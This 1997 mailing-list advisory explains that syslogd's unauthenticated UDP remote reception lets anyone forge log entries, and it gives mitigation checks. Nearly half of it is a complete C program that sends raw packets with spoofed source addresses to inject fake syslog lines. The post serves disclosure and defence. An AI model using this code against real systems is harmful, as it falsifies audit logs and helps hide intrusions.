syslogd fun

Yuri Volobuev (volobuev@T1.CHEM.UMN.EDU)
Wed, 27 Aug 1997 20:05:03 -0500

Howdy,

Following up on the recent postings about various kinds of spoofing, I'd like
to present one particularly ugly case.

I think no one would argue that syslog is every Unix sysadmin's close
friend. Very often, syslog is a major (sometimes the only) way of gathering
various information, including security-related, about a particular system
or network. Some people trust syslog and make important decisions based on
what they see there. I've even heard about one lawsuit which involved
system logs (I'm not sure the system was running Unix, though) as an
evidence. Fortunately, defendant, sysadmin of the system in question, was
able to show that syslog entry means nothing. Well, he was absolutely
right. It's trivial to fake any kind of syslog entry using syslog(3)
locally, and this fact is widely known and accepted. What is less known,
however, is that many syslogd implementations have remote reception turned
on by default.

Remote reception is a very simple thing. If syslogd finds an entry in
config file which has @hostname at action field, it send a message to that
host. The idea is OK, but implementation is not. First, there's no way to
control access to your syslogd, anybody on the net can send you syslog
message, and you can't tell your syslogd to refuse them (well, you can't do
this _easily_, hacking the source is an option, where possible). Second,
the messages are send by the virtue of the wonderful Unreliable Data
Protocol. This basically nullifies the lack of access control. UDP is so
easy to spoof that there's no point in restricting the access to the certain
clients. There's no protocol for communications between two syslogds. One
sends out a datagram, the second one receives it, if it makes it through,
and that's it. No acknowledgments of any kind, it's a one way talk. If the
incoming message has it's source IP set to that of the target system, it'll
be output in the syslog file just like any local entry, and there's no way
to distinguish between them.

The attached program, syslog_deluxe.c, illustrates this point by sending out
a syslog message with both source and remote IPs supplied by the user. It
was tested to work with syslogds on AIX 4.2, Irix 6.2 and Linux, syslogd
1.3-3 (the one that comes with RedHat-4.2). I'm pretty sure it'll work with
any other syslogd, as long as remote reception is on.

So once remote reception is turned on, you can't trust any syslog entry
anymore, that is, if you use stock syslogd. Besides, you open your box to a
nasty DoS, it wouldn't be too hard to fill up the partition that holds
syslog files, UDP datagrams can be pretty big. I also strongly suspect that
there may be some overflow conditions and such in certain implementations,
and having your syslogd listening to Internet is not a very healthy thing to
do in such a case. So the fix for all that would be turning off remote
reception. Unfortunately, it can't always be done. Linux syslogd 1.3 has
this option, and remote reception if off by default. AIX and Irix users are
not so fortunate. It's on and can't be turned off in any obvious way, other
than killing syslogd.

You can check your system by running netstat -a | grep udp. If you see
(among many other lines) something like

udp 0 0 0.0.0.0.syslog 0.0.0.0.*

or

udp 0 0 0.0.0.0.514 0.0.0.0.*

or

udp 0 0 *.syslog *.*

your syslogd is listening, time to do something. If not, you're in luck.

99% or more systems on the net don't need remote reception. Those need to
investigate configuration options of the installed syslogd, and possibly
switch to a more advanced version, such as aforementioned syslogd 1.3. Of
course, it may not be as easy as it sounds. Apart from possible problems
with compilation, vendors sometime use "enhanced" syslogd, such as the one
on Irix. It adds an extra field in front of hostname which has facility and
priority. It's nice, but it also means that some other Irix programs, such
as Syslog Viewer, may have problems reading file in standard format.

Sometimes remote reception is desired, though, and it's a tough case. Due
to the nature of the network protocol, you pretty much have to hope that no
one sends you a spoofed entry. You can't really make a distinction between
a spoofed one and a real one. The only true way to fix it is to redesign
the protocol. Aside from security considerations, reliability could use
some improvement, too since right now there's only as much of it as comes
with UDP, i.e. none. I don't think an idea of losing important syslog
messages due to network congestion is appealing to anybody. Also, in any
event syslogd should make clear distinction between the local and remote
messages, and mark them as such.

I personally find it very sad that one of the programs that should help to
keep security tight is so grossly insecure itself. It's really a shame.

cheers,

yuri

/* syslog_deluxe.c

This program sends a spoofed syslog message. Your have to be root to run it.
Source and target IP addresses, message text, facility and priority are
supplied by the user.

It exploits the fact that many syslogd implementations listen to port 514/udp
and accept whatever datagrams arrive, thus making it very easy to spoof syslog
entries. Some versions of syslogd allow to turn off this feature, some don't.

The code compiles and works under Linux. Any Unix that has
SOCK_RAW/IPPROTO_RAW should be no problem (you may need to use BSD-style
struct ip though). It may use few improvements, like checking for possible
ICMP Port Unreachable errors in case the remote machine doesn't run syslogd
with remote reception turned on.

The idea behind this program is a proof of a concept, nothing more. It
comes as is, no warranty. However, you're allowed to use it under one
condition: you must use your brain simultaneously. If this condition is
not met, you shall forget about this program and go RTFM immediately.

yuri volobuev'97
volobuev@t1.chem.umn.edu

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <netdb.h>
#include <syslog.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netinet/udp.h>
#include <netinet/ip.h>

#define IPVERSION 4

/* This is the stuff that actually gets sent. Feel free to change it */
#define MESSAGE_FAC LOG_DAEMON
#define MESSAGE_PRI LOG_INFO
char message[] = {"telnetd[4489]: connection from devil@hell.org.universe\n"};

struct raw_pkt_hdr {
struct iphdr ip; /* This is Linux-style iphdr.
Use BSD-style struct ip if you want */
struct udphdr udp;
};

struct raw_pkt_hdr* pkt;

void die(char *);
unsigned long int get_ip_addr(char*);
unsigned short checksum(unsigned short*,char);

int main(int argc,char** argv){

struct sockaddr_in sa;
int sock,packet_len;
char usage[] = {"\
syslog_deluxe, yuri volobuev'97\n\
make syslog look the way you want, here there and everywhere\n\
\t usage: syslog_deluxe src_hostname dst_hostname\n"};

char on = 1;

if(argc != 3)die(usage);

if( (sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0){
perror("socket");
exit(1);
}

sa.sin_addr.s_addr = get_ip_addr(argv[2]);
sa.sin_family = AF_INET;

packet_len = sizeof(struct raw_pkt_hdr)+strlen(message)+4;
pkt = calloc((size_t)1,(size_t)packet_len);

pkt->ip.version = IPVERSION;
pkt->ip.ihl = sizeof(struct iphdr) >> 2;
pkt->ip.tos = 0;
pkt->ip.tot_len = htons(packet_len);
pkt->ip.id = htons(getpid() & 0xFFFF);
pkt->ip.frag_off = 0;
pkt->ip.ttl = 0x40;
pkt->ip.protocol = IPPROTO_UDP;
pkt->ip.check = 0;
pkt->ip.saddr = get_ip_addr(argv[1]);
pkt->ip.daddr = sa.sin_addr.s_addr;
pkt->ip.check = checksum((unsigned short*)pkt,sizeof(struct iphdr));

pkt->udp.source = htons(514);
pkt->udp.dest = htons(514);
pkt->udp.len = htons(packet_len - sizeof(struct iphdr));
pkt->udp.check = 0; /* If you feel like screwing around with pseudo-headers
and stuff, you may of course calculate UDP checksum
as well. I chose to leave it zero, it's usually OK */

sprintf((char*)pkt+sizeof(struct raw_pkt_hdr),"<%d>%s",
(int)(MESSAGE_FAC | MESSAGE_PRI),message);

if (setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&on,sizeof(on)) < 0) {
perror("setsockopt: IP_HDRINCL");
exit(1);
}

if(sendto(sock,pkt,packet_len,0,(struct sockaddr*)&sa,sizeof(sa)) < 0){
perror("sendto");
exit(1);
}
exit(0);
}

void die(char* str){
fprintf(stderr,"%s\n",str);
exit(1);
}

unsigned long int get_ip_addr(char* str){

struct hostent *hostp;
unsigned long int addr;

if( (addr = inet_addr(str)) == -1){
if( (hostp = gethostbyname(str)))
return *(unsigned long int*)(hostp->h_addr);
else {
fprintf(stderr,"unknown host %s\n",str);
exit(1);
}
}
return addr;
}

unsigned short checksum(unsigned short* addr,char len){
/* This is a simplified version that expects even number of bytes */
register long sum = 0;

while(len > 1){
sum += *addr++;
len -= 2;
}
while (sum>>16) sum = (sum & 0xffff) + (sum >> 16);

return ~sum;
}